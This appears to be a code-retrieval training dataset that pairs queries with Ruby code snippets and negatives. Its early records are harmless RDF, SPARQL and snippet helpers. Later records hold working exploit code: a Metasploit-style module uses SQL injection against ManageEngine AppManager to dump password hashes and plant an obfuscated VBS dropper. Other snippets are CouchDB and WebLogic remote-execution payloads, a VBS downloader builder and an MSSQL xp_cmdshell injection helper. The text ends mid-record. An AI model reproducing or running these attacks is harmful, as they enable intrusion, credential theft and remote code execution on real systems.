"def getRdfsLabel\n require \"net/http\"\n # expect to pass uri as parameter\n if params.has_key?(\"uri\") and params[\"uri\"] != nil and params[\"uri\"] != \"\"\n thisURI = params[\"uri\"]\n \n \n query = \"PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> \" + \n \"PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> \" + \n \"PREFIX xsd: <http://www.w3.org/2001/XMLSchema#> \" + \n \"PREFIX owl: <http://www.w3.org/2002/07/owl#> \" + \n \"PREFIX ccsc: <http://nyclimateclearinghouse.org/ontology/> \" + \n \" SELECT ?label \" +\n \"WHERE { \" + \n \"<\" + thisURI + \"> rdfs:label ?label .\" +\n \" }\"\n Rails.logger.debug(\"Query is #{query}\")\n encoded_query = URI::encode(query)\n Rails.logger.debug(\"URL encoded query is #{encoded_query}\")\n #base_url = request.protocol + request.host\n base_sparql_url = Rails.application.config.vivo_app_url + '/ajax/sparqlQuery'\n Rails.logger.debug(\"sparql url is \" + base_sparql_url)\n url = URI.parse(base_sparql_url + \"?query=\" + encoded_query)\n response = Net::HTTP.get_response(url)\n \n @data = JSON.parse(response.body)\n end\n end",
"def identifier\n rdf_resource.to_s\n end",
"def constructing_model_sparql\nend",
"def my_rdf\n @rdf_resource ||= begin\n src = RdfResource.new(uri)\n src.object_class = TaliaCore::ActiveSource\n src\n end\n end",
"def to_rdf\n self\n end",
"def _convertRDF() \n raise \"Unimplemented.\"\n\t#\tfrom rdflib import Graph\n#\t\tretval = Graph()\n#\t\t# this is a strange hack. If the publicID is not set, rdflib (or the underlying xml parser) makes a funny \n#\t\t#(and, as far as I could see, meaningless) error message...\n#\t\tretval.load(self.response,publicID=' ')\n#\t\treturn retval\n\tend",
"def my_rdf\n @rdf_resource ||= begin\n src = RdfResource.new(uri)\n src.object_class = TaliaCore::ActiveSource\n src\n end\n end",
"def publishing_format\n :rdf\n end",
"def fake_data_generator(query, output_document)\n ############\n # Removed this, as it is not necessary\n ############\n #uris_hash = Hash.new\n #uris_hash.default_proc = proc {|k| k}\n #File.foreach(query_document_location) {|line|\n # case line\n # when /^PREFIX (\\w+:) (<.+)>/i #if the line starts with PREFIX, find the prefix and its full URI and store them in a hash\n # uris_hash[$1] = $2\n # \n # when /^SELECT|CONSTRUCT|ASK|DESCRIBE/i #This line corresponds to the first line of the final query\n # query = line\n # when /(^\\n|})/\n # query << line\n # else \n # uris_hash.each { |k, v| \n # line[k] &&= v } #changes all occurances of a prefix with the full URI\n # line.match(/(<\\S+)/)\n # line[$1] &&= $1.concat(\">\")\n # line.gsub!(/\\ba\\b/, \"<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\") #changes \"a\" with the whole URI of rdf:type\n # query << line\n # end\n #}\n \n $stderr.puts query\n parsed = SPARQL.parse(query) # this is a nightmare method, that returns a wide variety of things! LOL!\n \n rdf_query=''\n if parsed.is_a?(RDF::Query) # we need to get the RDF:Query object out of the list of things returned from the parse\n rdf_query = parsed\n else\n parsed.each {|c| rdf_query = c if c.is_a?(RDF::Query) }\n end\n\n patterns = rdf_query.patterns # returns the triple patterns in the query\n\n variables = Hash.new # we're going to create a random string for every variable in the query\n patterns.each do |p| \n vars = p.unbound_variables # vars contains e.g. [:s, #<RDF::Query::Variable:0x6a400(?s)>] \n vars.each {|var| variables[var[0]] = RDF::URI(\"http://fakedata.org/\" + (0...10).map { ('a'..'z').to_a[rand(26)] }.join)}\n # now variables[:s] = <http://fakedata.org/adjdsihfrke>\n end\n\n File.open(output_document, \"w\") {|file|\n #now iterate over the patterns again, and bind them to their new value\n patterns.each do |triple| # we're going to create a random string for every variable\n if triple.subject.variable?\n var_symbol = triple.subject.to_sym # covert the variable into a symbol, since that is our hash key\n triple.subject = variables[var_symbol] # assign the random string for that symbol\n end\n\n if triple.predicate.variable?\n var_symbol = triple.predicate.to_sym # covert the variable into a symbol, since that is our hash key\n triple.predicate = variables[var_symbol] # assign the random string for that symbol\n end\n \n # special case for objects, since they can be literals\n if triple.object.variable?\n var_symbol = triple.object.to_sym # covert the variable into a symbol, since that is our hash key\n triple.object = variables[var_symbol] # assign the random string for that symbol\n file.write triple.to_rdf\n file.write \"\\n\"\n ########\n # What will you do with triples that have a literal as their value, rather than a <URI>?\n ########\n else # this ensures that it is written even if the object is not a variable\n file.write triple.to_rdf\n file.write \"\\n\"\n end\n end\n }\n\nend",
"def write_rdf_head\n # $this->writeTriple($self,$this->uri('rdfs:comment'),'Generated by Triplify '.$this->version.' (http://Triplify.org)',true);\n write_triple(@base_uri, uri(\"rdfs:comment\"), 'Generated by Triplify '+'version'+ \" (http://Triplify.org) \", \"literal\" )\n unless configatron.license.blank?\n #$this->writeTriple($self,'http://creativecommons.org/ns#license',$this->config['license']);\n write_triple(@base_uri,'http://creativecommons.org/ns#license',configatron.license, \"literal\" )\n end\n end",
"def as_jsonld\n JSON.parse self.to_rdf.dump(:jsonld, standard_prefixes: true)\n end",
"def sparql_vocab()\n q = Dev::Query.new()\n q.select(\"?term ?id\")\n q.where(\"?id skos:prefLabel ?term\")\n \n sparql = Dev::SparqlQuery.new(:uri=>\"http://bio2rdf.semanticscience.org:8026/sparql?\")\n sparql.prefix(:skos=>\"http://www.w3.org/2004/02/skos/core#\")\n return sparql.query(q,:graph=>\"cebs\",:format=>\"xml\")\n\n end",
"def ns\n @ns.to_s || 'myrdf'\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
=> Code Snippet pour une nouvelle RD
|
def snippet_for_new_rd
qd_id = select_qd_without_rd
horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop
type_reponse = select_type_reponse_rd
while type_reponse.match(/\[tab_stop\]/)
type_reponse.sub!(/\[tab_stop\]/, "\${#{Snippet::next_tab}:TEXTE}")
end
sn = ""
sn << "RD##{Objet::next_id_of_type 'RD'}: "
sn << horloge
sn << "[QD##{qd_id}] "
sn << "#{type_reponse}"
sn << " $0"
return sn
end
|
[
"def statement\n self.snippet\n end",
"def snippet_for_new_rdf\n snippet_for_new_rd\n end",
"def use_for_snippets; end",
"def code_keyword; end",
"def code_description_support; end",
"def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end",
"def doc_string; end",
"def wine_comment\n end",
"def codelines()\n TODONOTES.codelines()\n end",
"def codelines()\r\n TODONOTES.codelines()\r\n end",
"def snippet_generators; end",
"def render_doc_markup_for(code_object); end",
"def explanation\n end",
"def comment=(*) end",
"def code_html\n CodeRay.scan(self.code, :python).div().html_safe\n end",
"def id_and_description\n \"<code>##{self.id}</code> #{self.description}\"\n end",
"def show_code(source)\n if session[:ide_activated]\n title= source.split('/').last\n Rwt << \"a=Ext.getCmp('ide');\"\n Rwt << \"n=a.items.length;\"\n Rwt << \"rs=a.items;\"\n Rwt << \"found=false;\"\n Rwt << \"for(i=0;i<n;++i) {if(rs.items[i].title=='#{title}'){found=true}};\"\n Rwt << \"if(!found){Ext.getCmp('ide').add({title:'#{title}',closable:true,autoLoad:{url:'/code/show/#{source}'}}).show();}\"\n end\n end",
"def editorial_markup\r\n\t\r\n\tend",
"def codeblock\n H[:pre, attr, H[:code, value]]\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Retourne l'identifiant de la QD choisie
|
def select_qd_without_rd
qds = hash_qds true
if qds.empty?
Snippet::alert "Aucune QD n'est sans rΓ©ponse dans ce fichierβ¦", "Il faut dΓ©finir une QD avant de dΓ©finir sa RD."
else
items_string = qds.collect do |dqd|
dqd[:qd].gsub!(/\"/,"\\\""); "\"#{dqd[:qd]}\""
end.join(' ')
args = [
'dropdown',
'--title "Choix de la QD"',
'--text "Choisir la QD Γ laquelle doit rΓ©pondre cette RD (seules les QD sans rΓ©ponse sont listΓ©es)"',
'--exit-onchange', # -> se ferme après le choix
'--button1 "Choisir cette QD"',
'--button3 "Renoncer"',
'--items ' + items_string,
'2>/dev/null'
]
cmd = "#{cocoaD} #{args.join(' ')}"
u_reponse = %x{#{cmd}}
btn_name, user_choix = u_reponse.split("\n")
return nil if btn_name.to_i == 3
qds[user_choix.to_i][:id]
end
end
|
[
"def identifier_value\n DEFAULT_QUESTIONNAIRE_ID\n end",
"def which_questionaire\n @q = 0\n Questionaire.find(:all).each do|q|\n if q.activated\n @q = q.id\n break\n end\n end \n return @q \n end",
"def option_number\n pricing_db_hp_support_option.option_number\n end",
"def uhook_ubiquo_setting_identifier_for_key setting_key\n self.select_fittest(setting_key).content_id rescue 0\n end",
"def answer_id answer\n answer.id || \"V#{answer.answer.id}\"\n end",
"def selector_for(qing, inst)\n %Q{div.answer_field[data-qing-id=\"#{qing.id}\"][data-inst-num=\"#{inst}\"]}\n end",
"def selector_for(qing, inst)\n %(div.answer_field[data-qing-id=\"#{qing.id}\"][data-inst-num=\"#{inst}\"])\n end",
"def option_value\n fetch(\"fishbrain.equipment.#{OPTION_VALUES.sample}\")\n end",
"def getacquirerid()\r\n return getvalue(SVTags::ACQUIRER_ID)\r\n end",
"def question_id\n return @question_id\n end",
"def getChoiceNum(chooser, choice)\n num = -1\n chooser.getChoices.each_with_index do |option, i|\n if option.otExternalId == choice.otExternalId\n num = i\n break\n end\n end\n num\nend",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def determine_set_id(set_id)\n if set_id == \"set_1\"\n set = 1\n elsif set_id == \"set_2\"\n set = 2\n elsif set_id == \"set_3\"\n set = 3\n elsif set_id == \"set_4\"\n set = 4\n else\n \"\"\n end\n set\n end",
"def choice\n return @choice\n end",
"def quality_id\n return @quality_id\n end",
"def survey_identifier\n @form || @instrument\n end",
"def get_option\n end",
"def afficherQuestionParId(id_question)\n questions = QuestionChoix.find_by(id_question: id_question, etat: false)\n end",
"def afficherChoixParId(id_choix)\n choix = Choix.find_by(id_choix: id_choix, etat: false)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
VBS payload and Post Data preparation
|
def get_payload
handler
payload = generate_payload_exe
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
## determining the target directory
if target.name == 'AppManager 14'
tfile = "AppManager14"
elsif target.name == 'AppManager 13'
tfile = "AppManager13"
elsif target.name == 'AppManager 12'
tfile = "AppManager12"
elsif target.name == 'AppManager 11'
tfile = "AppManager11"
end
fhashes = Rex::Text.rand_text_alpha_lower(8) + ".txt"
## parameters required to read the user table
hashes = "sid=1;copy+(select+username,password+from+AM_UserPasswordTable)+to+$$"
hashes << "c:\\Program+Files+(x86)\\ManageEngine\\"
hashes << "#{tfile}"
hashes << "\\working\\"
hashes << "#{fhashes}"
hashes << "$$;--"
res = inject("#{hashes}")
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/
print_good("Users in the database were taken...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{fhashes}") # users file url
})
if res.code == "404"
fail_with(Failure::Unreachable, 'The database could not be read!')
else
print_status("--------------------Usernames and Passwords---------------------")
puts res.body # users table output
print_status("----------------------------------------------------------------")
end
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
## fetch base64 part in vbs payload
pb64 = @vbs_content.split('"
Dim')[0].split(' = "')[2]
## vbs file in one line
vbs_file = 'On Error Resume Next:Set objWbemLocator = CreateObject("WbemScripting.SWbemLocator"):'
vbs_file << 'if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description:End If:O'
vbs_file << 'n Error GoTo 0:On Error Resume Next:Select Case WScript.Arguments.Count:Case 2:strCo'
vbs_file << 'mputer = Wscript.Arguments(0):strQuery = Wscript.Arguments(1):Set wbemServices = obj'
vbs_file << 'WbemLocator.ConnectServer (strComputer,"Root\\CIMV2"):Case 4:strComputer = Wscript.A'
vbs_file << 'rguments(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):st'
vbs_file << 'rQuery = Wscript.Arguments(3):Set wbemServices = objWbemLocator.ConnectServer (strCo'
vbs_file << 'mputer,"Root\\CIMV2",strUsername,strPassword):case 6:strComputer = Wscript.Arguments'
vbs_file << '(0):strUsername = Wscript.Arguments(1):strPassword = Wscript.Arguments(2):strQuery ='
vbs_file << ' Wscript.Arguments(4):namespace = Wscript.Arguments(5):Set wbemServices = objWbemLoca'
vbs_file << 'tor.ConnectServer (strComputer,namespace,strUsername,strPassword):Case Else:strMsg ='
vbs_file << ' "Error # in parameters passed":WScript.Echo strMsg:WScript.Quit(0):End Select:Set w'
vbs_file << 'bemServices = objWbemLocator.ConnectServer (strComputer, namespace, strUsername, str'
vbs_file << 'Password):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Descriptio'
vbs_file << 'n:End If:On Error GoTo 0:On Error Resume Next:Set colItems = wbemServices.ExecQuery(s'
vbs_file << 'trQuery):if Err.Number Then:WScript.Echo vbCrLf & "Error # " & " " & Err.Description'
vbs_file << ':End If:On Error GoTo 0:i=0:For Each objItem in colItems:if i=0 then:header = "":For '
vbs_file << 'Each param in objItem.Properties_:header = header & param.Name & vbTab:Next:WScript.E'
vbs_file << 'cho header:i=1:end if:serviceData = "":For Each param in objItem.Properties_:serviceD'
vbs_file << 'ata = serviceData & param.Value & vbTab:Next:WScript.Echo serviceData:Next:Function b'
vbs_file << 'PBdVfYpfCEHF(hBPVZMitxq):HHgwqsqii = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-m'
vbs_file << 'icrosoft-com:datatypes" & Chr(34) & " " & "dt:dt=" & Chr(34) & "bin.base64" & Chr(34)'
vbs_file << ' & ">" & hBPVZMitxq & "</B64DECODE>":Set TInPBSeVlL = CreateObject("MSXML2.DOMDocument'
vbs_file << '.3.0"):TInPBSeVlL.LoadXML(HHgwqsqii):bPBdVfYpfCEHF = TInPBSeVlL.selectsinglenode("B64D'
vbs_file << 'ECODE").nodeTypedValue:set TInPBSeVlL = nothing:End Function:Function txhYXYJJl():Emkf'
vbs_file << 'dMDdusgGha = "'
vbs_file << "#{pb64}"
vbs_file << '":Dim CCEUdwNSS:Set CCEUdwNSS = CreateObject("Scripting.FileSystemObject"):Dim zhgqIZn'
vbs_file << 'K:Dim gnnTqZvAcL:Set zhgqIZnK = CCEUdwNSS.GetSpecialFolder(2):gnnTqZvAcL = zhgqIZnK & '
vbs_file << '"\" & CCEUdwNSS.GetTempName():CCEUdwNSS.CreateFolder(gnnTqZvAcL):yZUoLXnPic = gnnTqZvAc'
vbs_file << 'L & "\" & "SAEeVSXQVkDEIG.exe":Dim mEciydMZTsoBmAo:Set mEciydMZTsoBmAo = CreateObject("'
vbs_file << 'Wscript.Shell"):LXbjZKnEQUfaS = bPBdVfYpfCEHF(EmkfdMDdusgGha):Set TUCiiidRgJQdxTl = Cre'
vbs_file << 'ateObject("ADODB.Stream"):TUCiiidRgJQdxTl.Type = 1:TUCiiidRgJQdxTl.Open:TUCiiidRgJQdxT'
vbs_file << 'l.Write LXbjZKnEQUfaS:TUCiiidRgJQdxTl.SaveToFile yZUoLXnPic, 2:mEciydMZTsoBmAo.run yZU'
vbs_file << 'oLXnPic, 0, true:CCEUdwNSS.DeleteFile(yZUoLXnPic):CCEUdwNSS.DeleteFolder(gnnTqZvAcL):E'
vbs_file << 'nd Function:txhYXYJJl:WScript.Quit(0)'
## encode the vbs file to base64 and then encode the url-hex
encoding_vbs = Rex::Text.uri_encode(Rex::Text.encode_base64(vbs_file), 'hex-all')
## post preparation // creating and writing files on the server with SQLi
vbs_payload = "sid=1;copy+(select+convert_from(decode($$#{encoding_vbs}$$,$$base64$$)"
vbs_payload << ",$$utf-8$$))+to+$$C:\\\\Program+Files+(x86)\\\\ManageEngine\\\\"
vbs_payload << "#{tfile}"
vbs_payload << "\\\\working\\\\conf\\\\application\\\\scripts\\\\wmiget.vbs$$;"
res = inject("#{vbs_payload}")
if res.code = "200" && res.headers['set-cookie'] =~ /JSESSIONID/
print_good("The harmful .vbs file was successfully written to the server.")
print_status("Keep in mind! You may have to wait between 10-300 seconds for the shell session.")
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
return payload
end
|
[
"def vbs_down_payload\n\t\tprint_status(\"Simple VBScript Downloader Script Builder\")\n\t\tprint_caution(\"Please provide (pre-encoded) URL to the file you want to download: \")\n\t\tzSITE=gets.chomp\n\n\t\tprint_caution(\"Provide Name to save file as: \")\n\t\tzNAME=gets.chomp\n\n\t\tprint_status(\"Generating downloader.vbs, hang tight a sec.....\")\n\t\tdownloader = \"#{@results}downloader.vbs\"\n\n\t\tf=File.open(downloader, 'w')\n\t\tf.puts \"strFileURL = \\\"#{zSITE}\\\"\"\n\t\tf.puts \"strHDLocation = \\\"#{zNAME}\\\"\"\n\t\tf.puts \"\"\n\t\tf.puts \"Set objXMLHTTP = CreateObject(\\\"MSXML2.XMLHTTP\\\")\"\n\t\tf.puts \"objXMLHTTP.open \\\"GET\\\", strFileURL, false\"\n\t\tf.puts \"objXMLHTTP.send()\"\n\t\tf.puts \"\"\n\t\tf.puts \"If objXMLHTTP.Status = 200 Then\"\n\t\tf.puts \"Set objADOStream = CreateObject(\\\"ADODB.Stream\\\")\"\n\t\tf.puts \"objADOStream.Open\"\n\t\tf.puts \"objADOStream.Type = 1\"\n\t\tf.puts \"objADOStream.Write objXMLHTTP.ResponseBody\"\n\t\tf.puts \"objADOStream.Position = 0\"\n\t\tf.puts \"Set objFSO = Createobject(\\\"Scripting.FileSystemObject\\\")\"\n\t\tf.puts \"\"\n\t\tf.puts \"If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation\"\n\t\tf.puts \"Set objFSO = Nothing\"\n\t\tf.puts \"objADOStream.SaveToFile strHDLocation\"\n\t\tf.puts \"objADOStream.Close\"\n\t\tf.puts \"Set objADOStream = Nothing\"\n\t\tf.puts \"End if\"\n\t\tf.puts \"\"\n\t\tf.puts \"Set objXMLHTTP = Nothing\"\n\t\tf.close\n\n\t\tsleep(2)\n\t\tprint_status(\"\")\n\t\tprint_status(\"Your Windows Downloader Script is ready to go!\")\n\t\tprint_status(\"You can find it here: #{downloader}\")\n\t\tprint_status(\"May the SE Force be with you.....\")\n\t\tprint_status(\"\")\n\tend",
"def payload1\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd1}\",\"map\":\"\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd2}\",\"map\":\"\"})\r\n )\r\n end",
"def build_vbs(url, stager_name)\r\n\t\tname_xmlhttp = rand_text_alpha(2)\r\n\t\tname_adodb = rand_text_alpha(2)\r\n\r\n\t\ttmp = \"#{@temp_folder}/#{stager_name}\"\r\n\r\n\t\tvbs = \"echo Set #{name_xmlhttp} = CreateObject(\\\"Microsoft.XMLHTTP\\\") \"\r\n\t\tvbs << \": #{name_xmlhttp}.open \\\"GET\\\",\\\"http://#{url}\\\",False : #{name_xmlhttp}.send\"\r\n\t\tvbs << \": Set #{name_adodb} = CreateObject(\\\"ADODB.Stream\\\") \"\r\n\t\tvbs << \": #{name_adodb}.Open : #{name_adodb}.Type=1 \"\r\n\t\tvbs << \": #{name_adodb}.Write #{name_xmlhttp}.responseBody \"\r\n\t\tvbs << \": #{name_adodb}.SaveToFile \\\"#{@temp_folder}/#{@payload_name}.exe\\\",2 \"\r\n\t\tvbs << \": CreateObject(\\\"WScript.Shell\\\").Run \\\"#{@temp_folder}/#{@payload_name}.exe\\\",0 >> #{tmp}\"\r\n\r\n\t\treturn vbs\r\n\tend",
"def user_data(instance)\n hostname = instance[\"hostname\"]\n # write specific per instance cloud-init config and script files out of erb templates.\n %w(config script).each do |ud|\n e = ERB.new(File.read(File.join('templates', ud + \".erb\")))\n outfile = File.join(@dataDir, hostname + \"-\" + ud)\n File.open(outfile, 'w') {|f| f.write e.result(binding)}\n end\n\n # files = Hash[*%w{mimeOut script config}.collect {|n| [n, File.join(@dataDir, hostname + \"-\" + n]}.flatten]\n # files = %w{mimeOut script config}.inject({}) { |f,n| f[n] = File.join(@dataDir, hostname + \"-\" + n); f}\n mimeOut = File.join(@dataDir, hostname + \"-ud\")\n script = File.join(@dataDir, hostname + \"-script\")\n config = File.join(@dataDir, hostname + \"-config\")\n system(\"./write-mime-multipart --output=#{mimeOut} #{script}:text/x-shellscript #{config}\")\n @logger.info(\"Generated multipart for #{hostname}\")\n return File.read(mimeOut)\nend",
"def exploit_process_builder_payload\r\n # Generate a payload which will execute on a *nix machine using /bin/sh\r\n xml = %Q{<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soapenv:Header>\r\n <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n <java>\r\n <void class=\"java.lang.ProcessBuilder\">\r\n <array class=\"java.lang.String\" length=\"3\" >\r\n <void index=\"0\">\r\n <string>#{cmd_base}</string>\r\n </void>\r\n <void index=\"1\">\r\n <string>#{cmd_opt}</string>\r\n </void>\r\n <void index=\"2\">\r\n <string>#{payload.encoded.encode(xml: :text)}</string>\r\n </void>\r\n </array>\r\n <void method=\"start\"/>\r\n </void>\r\n </java>\r\n </work:WorkContext>\r\n </soapenv:Header>\r\n <soapenv:Body/>\r\n</soapenv:Envelope>}\r\n end",
"def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end",
"def post_data=(_arg0); end",
"def create_ingestion_workflow_payload(params={})\n params[:uuid] ||= Config::Constants::ASSET_UUID\n params[:path] ||= Config::Constants::ASSET_PATH\n params[:title] ||= Config::Constants::ASSET_TITLE\n params[:url] ||= Config::Constants::ASSET_URL + params[:uuid] + '/'\n\n\n {\n 'definitionId': Config::Constants::INGESTION_WORKFLOW_METADATA_ID,\n 'stringVariables': {\n 'assetMetadata': '{ \"clip-type\":\"http://api.ft.com/things/a0e8ca2e-03b4-4321-9b50-4a85b38298cd\",'\\\n'\"clip-description\": \"10 Seconds\", \"location\":\"http://sws.geonames.org/6619890/\",'\\\n'\"interviewee\": \"Jem Rayfield\",\"office\": \"http://api.ft.com/things/a29a5f4f-b4ff-46f7-b597-a30437783e1e\",'\\\n'\"producer\": \"http://api.ft.com/things/a4fda01e-dd90-490b-a7be-7c74eafd3884\",\"freelance-producer\": \"James Condron\",'\\\n'\"reporter-1\": \"Darren Bown\", \"reporter-2\":\"Dario Villanueva\",\"reporter-3\":\"Jon Best\", \"restrictions\": '\\\n'\"true\", \"restriction-description\":\"Sensitive Video....classified top secret\"}',\n 'project-thing-url': params[:url],\n 'projectUUID': params[:uuid],\n 'assetS3Path': params[:path],\n 'assetTitle': params[:title]\n }\n }\n end",
"def prepare_multipart_data(payload)\n boundary = \"infosimples\" + rand(1_000_000).to_s # a random unique string\n\n content = []\n payload.each do |param, value|\n content << '--' + boundary\n content << \"Content-Disposition: form-data; name=\\\"#{param}\\\"\"\n content << ''\n content << value\n end\n content << '--' + boundary + '--'\n content << ''\n\n [boundary, content.join(\"\\r\\n\")]\n end",
"def exec_payload\r\n cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)\r\n\r\n vprint_status(\"#{peer} - Executing the payload...\")\r\n res = exec_command(cmd)\r\n\r\n fail_with(Failure::Unknown, \"#{peer} - Unable to exec payload\") unless res\r\n\r\n Rex.sleep(1)\r\n end",
"def mssqli_rce\n\t\tprint_status(\"Microsoft SQL Server xp_cmdshell Payload Execution via SQLi\")\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use exploit/windows/mssql/mssql_payload_sqli\"\n\t\twhile(true)\n\t\t\tprint_caution(\"Select Request Type: \")\n\t\t\tprint_caution(\"1) GET\")\n\t\t\tprint_caution(\"2) POST\")\n\t\t\tanswer=gets.chomp\n\n\t\t\tprint_caution(\"Provide vuln URI with '[SQLi]' marker in place where needed (can be in DATA section for POST): \")\n\t\t\tprint_caution(\"NOTE: include any prefix or siffix required to complete injection!\")\n\t\t\tprint_caution(\"\\t=> http://example.com/index.asp?vuln=1';[SQLi];-- -¬vuln=form\")\n\t\t\tvuln_link=URI(URI.encode(gets.chomp))\n\t\t\tif answer == '1'\n\t\t\t\tbreak\n\t\t\telsif answer == '2'\n\t\t\t\tprint_caution(\"Please provide any POST Data needed for request: \")\n\t\t\t\tzDATA=gets.chomp\n\t\t\t\tf.puts \"set DATA #{zDATA}\"\n\t\t\t\tf.puts 'set METHOD POST'\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tf.puts \"set GET_PATH #{vuln_link.request_uri}\"\n\t\tf.puts \"set RHOST #{vuln_link.host}\"\n\t\tf.puts \"set RPORT #{vuln_link.port}\"\n\t\tf.puts \"set VHOST #{vuln_link.host}\"\n\t\twhile(true)\n\t\t\tprint_caution(\"Select Payload Delivery Method: \")\n\t\t\tprint_caution(\"1) debug.com OLD School Script Conversion Method (x86 Only)\")\n\t\t\tprint_caution(\"2) wcsript.exe CMD Staged Delivery Method\")\n\t\t\tprint_caution(\"3) PowerShell Staged Delivery\")\n\t\t\tanswer=gets.chomp\n\t\t\tif answer == '1'\n\t\t\t\tf.puts \"set DELIVERY old\"\n\t\t\t\tbreak\n\t\t\telsif answer == '2'\n\t\t\t\tf.puts \"set DELIVERY cmd\"\n\t\t\t\tbreak\n\t\t\telsif answer == 